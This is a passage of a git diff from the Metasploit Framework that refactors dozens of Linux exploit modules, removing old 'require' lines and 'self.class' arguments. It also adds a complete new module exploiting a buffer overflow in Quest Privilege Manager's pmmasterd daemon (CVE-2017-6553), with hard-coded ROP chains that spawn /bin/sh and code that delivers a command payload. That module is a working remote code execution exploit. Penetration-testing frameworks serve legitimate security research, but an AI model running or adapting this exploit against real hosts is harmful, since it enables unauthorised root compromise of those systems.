'True', 'False']]), OptInt.new('MAXWAIT', [ true, 'Max seconds to wait for decrementation in seconds', 120 ]) - ], self.class) + ]) end def check diff --git a/modules/exploits/linux/local/desktop_privilege_escalation.rb b/modules/exploits/linux/local/desktop_privilege_escalation.rb index 5299693716..db7ac51d89 100644 --- a/modules/exploits/linux/local/desktop_privilege_escalation.rb +++ b/modules/exploits/linux/local/desktop_privilege_escalation.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'msf/core/exploit/exe' require 'base64' require 'metasm' @@ -57,7 +55,7 @@ class MetasploitModule < Msf::Exploit::Local register_options([ OptString.new('WritableDir', [true, 'A directory for storing temporary files on the target system', '/tmp']), - ], self.class) + ]) end def check diff --git a/modules/exploits/linux/local/docker_daemon_privilege_escalation.rb b/modules/exploits/linux/local/docker_daemon_privilege_escalation.rb index bd0f2fe6cb..8d5528aa1d 100644 --- a/modules/exploits/linux/local/docker_daemon_privilege_escalation.rb +++ b/modules/exploits/linux/local/docker_daemon_privilege_escalation.rb @@ -31,7 +31,7 @@ class MetasploitModule < Msf::Exploit::Local )) register_advanced_options([ OptString.new("WritableDir", [true, "A directory where we can write files", "/tmp"]) - ], self.class) + ]) end def check diff --git a/modules/exploits/linux/local/hp_smhstart.rb b/modules/exploits/linux/local/hp_smhstart.rb index 8b9c028421..837342c3b8 100644 --- a/modules/exploits/linux/local/hp_smhstart.rb +++ b/modules/exploits/linux/local/hp_smhstart.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'msf/core/exploit/local/linux' require 'msf/core/exploit/exe' @@ -68,7 +66,7 @@ class MetasploitModule < Msf::Exploit::Local )) register_options([ OptString.new("smhstartDir", [ true, "smhstart directory", "/opt/hp/hpsmh/sbin/" ]) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/linux/local/kloxo_lxsuexec.rb b/modules/exploits/linux/local/kloxo_lxsuexec.rb index 0d2d267c7e..aa0d41d0c1 100644 --- a/modules/exploits/linux/local/kloxo_lxsuexec.rb +++ b/modules/exploits/linux/local/kloxo_lxsuexec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'msf/core/exploit/local/linux' require 'msf/core/exploit/exe' diff --git a/modules/exploits/linux/local/netfilter_priv_esc_ipv4.rb b/modules/exploits/linux/local/netfilter_priv_esc_ipv4.rb index 174200e7c5..0547c14af8 100644 --- a/modules/exploits/linux/local/netfilter_priv_esc_ipv4.rb +++ b/modules/exploits/linux/local/netfilter_priv_esc_ipv4.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require "msf/core" - class MetasploitModule < Msf::Exploit::Local Rank = GoodRanking @@ -57,7 +55,7 @@ class MetasploitModule < Msf::Exploit::Local OptInt.new('MAXWAIT', [ true, 'Max seconds to wait for decrementation in seconds', 180 ]), OptBool.new('REEXPLOIT', [ true, 'desc already ran, no need to re-run, skip to running pwn',false]), OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]) - ], self.class) + ]) end def check diff --git a/modules/exploits/linux/local/ntfs3g_priv_esc.rb b/modules/exploits/linux/local/ntfs3g_priv_esc.rb index c77de2e172..08ee7e2566 100644 --- a/modules/exploits/linux/local/ntfs3g_priv_esc.rb +++ b/modules/exploits/linux/local/ntfs3g_priv_esc.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Local Rank = GoodRanking @@ -41,7 +39,7 @@ class MetasploitModule < Msf::Exploit::Local ], 'DefaultOptions' => { - 'payload' => 'linux/x64/mettle/reverse_tcp', + 'payload' => 'linux/x64/meterpreter/reverse_tcp', 'PrependFork' => true, }, 'DefaultTarget' => 1, @@ -51,7 +49,7 @@ class MetasploitModule < Msf::Exploit::Local )) register_options([ OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) - ], self.class) + ]) end def check diff --git a/modules/exploits/linux/local/overlayfs_priv_esc.rb b/modules/exploits/linux/local/overlayfs_priv_esc.rb index 0905904cd9..5fcc93a0c9 100644 --- a/modules/exploits/linux/local/overlayfs_priv_esc.rb +++ b/modules/exploits/linux/local/overlayfs_priv_esc.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require "msf/core" - class MetasploitModule < Msf::Exploit::Local Rank = GoodRanking @@ -61,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Local [ OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]), OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]) - ], self.class) + ]) end def check diff --git a/modules/exploits/linux/local/recvmmsg_priv_esc.rb b/modules/exploits/linux/local/recvmmsg_priv_esc.rb index 8eeaa6f71e..14ffbbd0ed 100644 --- a/modules/exploits/linux/local/recvmmsg_priv_esc.rb +++ b/modules/exploits/linux/local/recvmmsg_priv_esc.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require "msf/core" - class MetasploitModule < Msf::Exploit::Local Rank = GoodRanking @@ -53,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Local [ OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]), OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]) - ], self.class) + ]) end def check diff --git a/modules/exploits/linux/local/sock_sendpage.rb b/modules/exploits/linux/local/sock_sendpage.rb index d9aa6ce54f..082f20fd45 100644 --- a/modules/exploits/linux/local/sock_sendpage.rb +++ b/modules/exploits/linux/local/sock_sendpage.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'msf/core/exploit/local/linux_kernel' require 'msf/core/exploit/local/linux' require 'msf/core/exploit/exe' diff --git a/modules/exploits/linux/local/sophos_wpa_clear_keys.rb b/modules/exploits/linux/local/sophos_wpa_clear_keys.rb index c08cb2c8d7..f30d24fce5 100644 --- a/modules/exploits/linux/local/sophos_wpa_clear_keys.rb +++ b/modules/exploits/linux/local/sophos_wpa_clear_keys.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking @@ -54,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Local # These are not OptPath becuase it's a *remote* path OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]), OptString.new("clear_keys", [ true, "Path to the clear_keys.pl vulnerable script", "/opt/cma/bin/clear_keys.pl" ]), - ], self.class) + ]) end def check diff --git a/modules/exploits/linux/local/udev_netlink.rb b/modules/exploits/linux/local/udev_netlink.rb index e908f5127c..3f3f292067 100644 --- a/modules/exploits/linux/local/udev_netlink.rb +++ b/modules/exploits/linux/local/udev_netlink.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'msf/core/exploit/local/linux_kernel' require 'msf/core/exploit/local/linux' require 'msf/core/exploit/exe' @@ -55,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Local register_options([ OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ]), OptInt.new("NetlinkPID", [ false, "Usually udevd pid-1. Meterpreter sessions will autodetect" ]), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/linux/local/vmware_mount.rb b/modules/exploits/linux/local/vmware_mount.rb index 66cffb1370..fa4becdbbb 100644 --- a/modules/exploits/linux/local/vmware_mount.rb +++ b/modules/exploits/linux/local/vmware_mount.rb @@ -3,10 +3,8 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking include Msf::Exploit::EXE include Msf::Post::File @@ -55,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Local )) register_options([ OptString.new("WRITABLEDIR", [ true, "A directory where you can write files.", "/tmp" ]), - ], self.class) + ]) end def check diff --git a/modules/exploits/linux/local/zpanel_zsudo.rb b/modules/exploits/linux/local/zpanel_zsudo.rb index 4a04be62c5..97cf616166 100644 --- a/modules/exploits/linux/local/zpanel_zsudo.rb +++ b/modules/exploits/linux/local/zpanel_zsudo.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'msf/core/exploit/exe' @@ -43,7 +41,7 @@ class MetasploitModule < Msf::Exploit::Local # These are not OptPath becuase it's a *remote* path OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]), OptString.new("zsudo", [ true, "Path to zsudo executable", "/etc/zpanel/panel/bin/zsudo" ]), - ], self.class) + ]) end def check diff --git a/modules/exploits/linux/misc/accellion_fta_mpipe2.rb b/modules/exploits/linux/misc/accellion_fta_mpipe2.rb index f5a4a0a597..72093f1c33 100644 --- a/modules/exploits/linux/misc/accellion_fta_mpipe2.rb +++ b/modules/exploits/linux/misc/accellion_fta_mpipe2.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - require 'openssl' require 'rexml/element' @@ -66,7 +64,7 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(8812), OptString.new('APPID', [true, 'The application ID (usually 1000)', '1000']) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/linux/misc/drb_remote_codeexec.rb b/modules/exploits/linux/misc/drb_remote_codeexec.rb index 17e61e046b..3e4018f950 100644 --- a/modules/exploits/linux/misc/drb_remote_codeexec.rb +++ b/modules/exploits/linux/misc/drb_remote_codeexec.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'drb/drb' class MetasploitModule < Msf::Exploit::Remote @@ -42,7 +41,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('URI', [true, "The dRuby URI of the target host (druby://host:port)", ""]), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/linux/misc/gld_postfix.rb b/modules/exploits/linux/misc/gld_postfix.rb index 96b42453d6..33b117d380 100644 --- a/modules/exploits/linux/misc/gld_postfix.rb +++ b/modules/exploits/linux/misc/gld_postfix.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking diff --git a/modules/exploits/linux/misc/hikvision_rtsp_bof.rb b/modules/exploits/linux/misc/hikvision_rtsp_bof.rb index 22da78f4b0..3be6de75c1 100644 --- a/modules/exploits/linux/misc/hikvision_rtsp_bof.rb +++ b/modules/exploits/linux/misc/hikvision_rtsp_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -75,7 +73,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(554) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/linux/misc/hp_data_protector_cmd_exec.rb b/modules/exploits/linux/misc/hp_data_protector_cmd_exec.rb index bcd21a3f2d..a46882dc28 100644 --- a/modules/exploits/linux/misc/hp_data_protector_cmd_exec.rb +++ b/modules/exploits/linux/misc/hp_data_protector_cmd_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -50,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultTarget' => 0 )) - register_options([Opt::RPORT(5555),], self.class) + register_options([Opt::RPORT(5555),]) end def exploit diff --git a/modules/exploits/linux/misc/hp_nnmi_pmd_bof.rb b/modules/exploits/linux/misc/hp_nnmi_pmd_bof.rb index e5713e21a6..c138f55443 100644 --- a/modules/exploits/linux/misc/hp_nnmi_pmd_bof.rb +++ b/modules/exploits/linux/misc/hp_nnmi_pmd_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -68,7 +66,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultTarget' => 0 )) - register_options([ Opt::RPORT(7426) ], self.class) + register_options([ Opt::RPORT(7426) ]) end def check diff --git a/modules/exploits/linux/misc/hp_vsa_login_bof.rb b/modules/exploits/linux/misc/hp_vsa_login_bof.rb index 9c698a5f23..8bda606175 100644 --- a/modules/exploits/linux/misc/hp_vsa_login_bof.rb +++ b/modules/exploits/linux/misc/hp_vsa_login_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -64,7 +62,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptPort.new('RPORT', [true, 'The remote port', 13838]) - ], self.class) + ]) end def check diff --git a/modules/exploits/linux/misc/hplip_hpssd_exec.rb b/modules/exploits/linux/misc/hplip_hpssd_exec.rb index 2c591b6186..faf4c0975a 100644 --- a/modules/exploits/linux/misc/hplip_hpssd_exec.rb +++ b/modules/exploits/linux/misc/hplip_hpssd_exec.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -64,7 +62,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(2207), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/linux/misc/ib_inet_connect.rb b/modules/exploits/linux/misc/ib_inet_connect.rb index 6804678d9c..0ec85f5584 100644 --- a/modules/exploits/linux/misc/ib_inet_connect.rb +++ b/modules/exploits/linux/misc/ib_inet_connect.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking diff --git a/modules/exploits/linux/misc/ib_jrd8_create_database.rb b/modules/exploits/linux/misc/ib_jrd8_create_database.rb index abaa69dc85..1102761e47 100644 --- a/modules/exploits/linux/misc/ib_jrd8_create_database.rb +++ b/modules/exploits/linux/misc/ib_jrd8_create_database.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking diff --git a/modules/exploits/linux/misc/ib_open_marker_file.rb b/modules/exploits/linux/misc/ib_open_marker_file.rb index 68002ee8b1..a1edf3cf8d 100644 --- a/modules/exploits/linux/misc/ib_open_marker_file.rb +++ b/modules/exploits/linux/misc/ib_open_marker_file.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking diff --git a/modules/exploits/linux/misc/ib_pwd_db_aliased.rb b/modules/exploits/linux/misc/ib_pwd_db_aliased.rb index 6ea756791d..b9befdfd8d 100644 --- a/modules/exploits/linux/misc/ib_pwd_db_aliased.rb +++ b/modules/exploits/linux/misc/ib_pwd_db_aliased.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking diff --git a/modules/exploits/linux/misc/jenkins_java_deserialize.rb b/modules/exploits/linux/misc/jenkins_java_deserialize.rb index 54ac018b40..3ed162368f 100644 --- a/modules/exploits/linux/misc/jenkins_java_deserialize.rb +++ b/modules/exploits/linux/misc/jenkins_java_deserialize.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -51,11 +49,11 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('TARGETURI', [true, 'The base path to Jenkins in order to find X-Jenkins-CLI-Port', '/']), OptString.new('TEMP', [true, 'Folder to write the payload to', '/tmp']), Opt::RPORT('8080') - ], self.class) + ]) register_advanced_options([ OptPort.new('XJenkinsCliPort', [false, 'The X-Jenkins-CLI port. If this is set, the TARGETURI option is ignored.']) - ], self.class) + ]) end def cli_port diff --git a/modules/exploits/linux/misc/lprng_format_string.rb b/modules/exploits/linux/misc/lprng_format_string.rb index f40fecdcba..effbbcdd57 100644 --- a/modules/exploits/linux/misc/lprng_format_string.rb +++ b/modules/exploits/linux/misc/lprng_format_string.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -109,7 +107,7 @@ class MetasploitModule < Msf::Exploit::Remote # 'DefaultTarget' => 0, 'DisclosureDate' => 'Sep 25 2000')) - register_options( [ Opt::RPORT(515) ], self.class ) + register_options( [ Opt::RPORT(515) ]) end diff --git a/modules/exploits/linux/misc/mongod_native_helper.rb b/modules/exploits/linux/misc/mongod_native_helper.rb index 06100c2e4d..e4c7e3b14e 100644 --- a/modules/exploits/linux/misc/mongod_native_helper.rb +++ b/modules/exploits/linux/misc/mongod_native_helper.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -73,7 +71,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('COLLECTION', [ false, "Collection to use (it must to exist). Better to let empty", ""]), OptString.new('USERNAME', [ false, "Login to use", ""]), OptString.new('PASSWORD', [ false, "Password to use", ""]) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/linux/misc/nagios_nrpe_arguments.rb b/modules/exploits/linux/misc/nagios_nrpe_arguments.rb index f8c7290538..3e1ad29c11 100644 --- a/modules/exploits/linux/misc/nagios_nrpe_arguments.rb +++ b/modules/exploits/linux/misc/nagios_nrpe_arguments.rb @@ -4,7 +4,6 @@ ## # -require 'msf/core' require 'zlib' class MetasploitModule < Msf::Exploit::Remote @@ -67,7 +66,7 @@ class MetasploitModule < Msf::Exploit::Remote ]), # Rex::Socket::Tcp will not work with ADH, see comment with replacement connect below OptBool.new('NRPESSL', [ true, "Use NRPE's Anonymous-Diffie-Hellman-variant SSL ", true]) - ], self.class) + ]) end def send_message(message) diff --git a/modules/exploits/linux/misc/netcore_udp_53413_backdoor.rb b/modules/exploits/linux/misc/netcore_udp_53413_backdoor.rb index ac44757f18..a037c90b16 100644 --- a/modules/exploits/linux/misc/netcore_udp_53413_backdoor.rb +++ b/modules/exploits/linux/misc/netcore_udp_53413_backdoor.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -60,7 +58,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptInt.new('TIMEOUT', [true, 'The socket response timeout in milliseconds', 1000]), Opt::RPORT(53413) - ], self.class) + ]) end def timeout diff --git a/modules/exploits/linux/misc/netsupport_manager_agent.rb b/modules/exploits/linux/misc/netsupport_manager_agent.rb index abfa4247a6..9db00827eb 100644 --- a/modules/exploits/linux/misc/netsupport_manager_agent.rb +++ b/modules/exploits/linux/misc/netsupport_manager_agent.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -113,7 +111,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(5405), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/linux/misc/novell_edirectory_ncp_bof.rb b/modules/exploits/linux/misc/novell_edirectory_ncp_bof.rb index 3b1ea17ab1..55853a891f 100644 --- a/modules/exploits/linux/misc/novell_edirectory_ncp_bof.rb +++ b/modules/exploits/linux/misc/novell_edirectory_ncp_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -54,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultTarget' => 0 )) - register_options([Opt::RPORT(524),], self.class) + register_options([Opt::RPORT(524),]) end def check diff --git a/modules/exploits/linux/misc/opennms_java_serialize.rb b/modules/exploits/linux/misc/opennms_java_serialize.rb index 8a5472fa4f..05721012ac 100644 --- a/modules/exploits/linux/misc/opennms_java_serialize.rb +++ b/modules/exploits/linux/misc/opennms_java_serialize.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -42,7 +40,7 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(1099), OptString.new('WRITABLEDIR', [false, 'A writable directory on the host', '/tmp/']) - ], self.class) + ]) end # This is the execute function that is re-used throughout diff --git a/modules/exploits/linux/misc/quest_pmmasterd_bof.rb b/modules/exploits/linux/misc/quest_pmmasterd_bof.rb new file mode 100644 index 0000000000..8bb3e9af6c --- /dev/null +++ b/modules/exploits/linux/misc/quest_pmmasterd_bof.rb @@ -0,0 +1,206 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = NormalRanking + + include Exploit::Remote::Tcp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Quest Privilege Manager pmmasterd Buffer Overflow', + 'Description' => %q{ + This modules exploits a buffer overflow in the Quest Privilege Manager, + a software used to integrate Active Directory with Linux and Unix systems. + The vulnerability exists in the pmmasterd daemon, and can only triggered when + the host has been configured as a policy server ( Privilege Manager for Unix + or Quest Sudo Plugin). A buffer overflow condition exists when handling + requests of type ACT_ALERT_EVENT, where the size of a memcpy can be + controlled by the attacker. This module only works against version < 6.0.0-27. + Versions up to 6.0.0-50 are also vulnerable, but not supported by this module (a stack cookie bypass is required). + NOTE: To use this module it is required to be able to bind a privileged port ( <=1024 ) + as the server refuses connections coming from unprivileged ports, which in most situations + means that root privileges are required. + }, + 'Author' => + [ + 'm0t' + ], + 'References' => + [ + ['CVE', '2017-6553'], + ['URL' , 'https://0xdeadface.wordpress.com/2017/04/07/multiple-vulnerabilities-in-quest-privilege-manager-6-0-0-xx-cve-2017-6553-cve-2017-6554/'] + ], + 'Payload' => + { + 'BadChars' => "", + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic python perl ruby openssl bash-tcp' + } + }, + 'Arch' => ARCH_CMD, + 'Platform' => 'unix', + 'Targets' => + [ + ['Quest Privilege Manager pmmasterd 6.0.0-27 x64', + { + :exploit => :exploit_x64, + :check => :check_x64 + } + ], + ['Quest Privilege Manager pmmasterd 6.0.0-27 x86', + { + :exploit => :exploit_x86, + :check => :check_x86 + } + ] + ], + 'Privileged' => true, + 'DisclosureDate' => 'Apr 09 2017', + 'DefaultTarget' => 1 + )) + + register_options([ Opt::RPORT(12345) ], self.class) + register_options( [ Opt::CPORT(rand(1024))], self.class ) + end + + #definitely not stealthy! sends a crashing request, if the socket dies, or the output is partial it assumes the target has crashed. Although the daemon spawns a new process for each connection, the segfault will appear on syslog + def check + unless self.respond_to?(target[:check], true) + fail_with(Failure::NoTarget, "Invalid target specified") + end + + return self.send(target[:check]) + end + + def exploit + unless self.respond_to?(target[:exploit], true) + fail_with(Failure::NoTarget, "Invalid target specified") + end + + request = self.send(target[:exploit]) + + connect + print_status("Sending trigger") + sock.put(request) + sock.get_once + print_status("Sending payload") + sock.put(payload.encoded) + disconnect + end + + #server should crash after parsing the packet, partial output is returned + def check_x64 + head = [ 0x26c ].pack("N") + head << [ 0x700 ].pack("N") + head << [ 0x700 ].pack("N") + head << "\x00"*68 + + body = "PingE4.6 .0.0.27" + body << rand_text_alpha(3000) + + request = head + body + + connect + print_status("Sending trigger") + sock.put(request) + res = sock.timed_read(1024, 1) + if res.match("Pong4$") + return Exploit::CheckCode::Appears + else + return Exploit::CheckCode::Unknown + end + end + + #server should crash while parsing the packet, with no output + def check_x86 + head = [ 0x26c ].pack("N") + head << [ 0x700 ].pack("N") + head << [ 0x700 ].pack("N") + head << "\x00"*68 + + body = rand_text_alpha(3000) + + request = head + body + + connect + print_status("Sending trigger") + sock.put(request) + begin + res = sock.timed_read(1024, 1) + return Exploit::CheckCode::Unknown + rescue ::Exception + return Exploit::CheckCode::Appears + end + end + + def exploit_x64 + head = [ 0x26c ].pack("N") + head << [ 0x700 ].pack("N") + head << [ 0x700 ].pack("N") + head << "\x00"*68 + + #rop chain for pmmasterd 6.0.0.27 (which is compiled without -fPIE) + ropchain = [ + 0x408f88, # pop rdi, ret + 0x4FA215, # /bin/sh + 0x40a99e, # pop rsi ; ret + 0, # argv @rsi + 0x40c1a0, # pop rax, ret + 0, # envp @rax + 0x48c751, # mov rdx, rax ; pop rbx ; mov rax, rdx ; ret + 0xcacc013, # padding + 0x408a98, # execve, + 0 + ].pack("Q*") + + body = "PingE4.6 .0.0.27" # this works if encryption is set to AES, which is default, changing E4 to E2 might make it work with DES + body << rand_text_alpha(1600) + body << ropchain + body << rand_text_alpha(0x700 - body.size()) + + return head + body + + end + + def exploit_x86 + head = [ 0x26c ].pack("N") + head << [ 0x108 ].pack("N") + head << [ 0xcc ].pack("N") + head << "\x00"*68 + + #rop chain for pmmasterd 6.0.0.27 (which is compiled without -fPIE) + ropchain = [ + 0x8093262, # ret + 0x73, # cs reg + 0x804AE2C, # execve, + 0xcacc013, # padding + 0x8136CF0, # /bin/sh + 0, + 0 + ].pack("V*") + + pivotback = 0x08141223 # sub esp, ebx ; retf + writable = 0x81766f8 # writable loc + + body = "PingE4.6 .0.0.27" # this works if encryption is set to AES, which is default, changing E4 to E2 might make it work with DES + body << rand_text_alpha(104) + body << ropchain + body << rand_text_alpha(0xb4 - body.size()) + body << [0x50].pack("V") + body << rand_text_alpha(0xc4 - body.size()) + body << [pivotback].pack("V") + body << [writable].pack("V") + body << rand_text_alpha(0x108 - body.size()) + + return head + body + end + +end + diff --git a/modules/exploits/linux/misc/sercomm_exec.rb b/modules/exploits/linux/misc/sercomm_exec.rb index ed0637d842..cb26ce95f0 100644 --- a/modules/exploits/linux/misc/sercomm_exec.rb +++ b/modules/exploits/linux/misc/sercomm_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -124,7 +122,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(32764) - ], self.class) + ]) register_advanced_options( [ @@ -132,7 +130,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('UPLOADPATH', [false, "Remote path to land the payload", "/tmp" ]), OptBool.new('NOARGS', [false, "Don't use the echo -en parameters", false ]), OptEnum.new('ENCODING', [false, "Payload encoding to use", 'hex', ['hex', 'octal']]), - ], self.class) + ]) deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') end diff --git a/modules/exploits/linux/misc/zabbix_server_exec.rb b/modules/exploits/linux/misc/zabbix_server_exec.rb index 0826b3cb16..72b647cdce 100644 --- a/modules/exploits/linux/misc/zabbix_server_exec.rb +++ b/modules/exploits/linux/misc/zabbix_server_exec.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -61,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(10051), - ], self.class) + ]) end def send_command(sock, node_id, cmd) diff --git a/modules/exploits/linux/mysql/mysql_yassl_getname.rb b/modules/exploits/linux/mysql/mysql_yassl_getname.rb index 61ad7081f3..a8bb0dcbf3 100644 --- a/modules/exploits/linux/mysql/mysql_yassl_getname.rb +++ b/modules/exploits/linux/mysql/mysql_yassl_getname.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking diff --git a/modules/exploits/linux/mysql/mysql_yassl_hello.rb b/modules/exploits/linux/mysql/mysql_yassl_hello.rb index 9b6811b040..9234bdcbd8 100644 --- a/modules/exploits/linux/mysql/mysql_yassl_hello.rb +++ b/modules/exploits/linux/mysql/mysql_yassl_hello.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -44,7 +42,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(3306) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/linux/pop3/cyrus_pop3d_popsubfolders.rb b/modules/exploits/linux/pop3/cyrus_pop3d_popsubfolders.rb index b3e42f2ac6..92773bce59 100644 --- a/modules/exploits/linux/pop3/cyrus_pop3d_popsubfolders.rb +++ b/modules/exploits/linux/pop3/cyrus_pop3d_popsubfolders.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -55,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => 'May 21 2006', 'DefaultTarget' => 0)) - register_options( [ Opt::RPORT(110) ], self.class ) + register_options( [ Opt::RPORT(110) ]) end diff --git a/modules/exploits/linux/postgres/postgres_payload.rb b/modules/exploits/linux/postgres/postgres_payload.rb index 676cc05af2..7c6c61416d 100644 --- a/modules/exploits/linux/postgres/postgres_payload.rb +++ b/modules/exploits/linux/postgres/postgres_payload.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/exploit/postgres' class MetasploitModule < Msf::Exploit::Remote diff --git 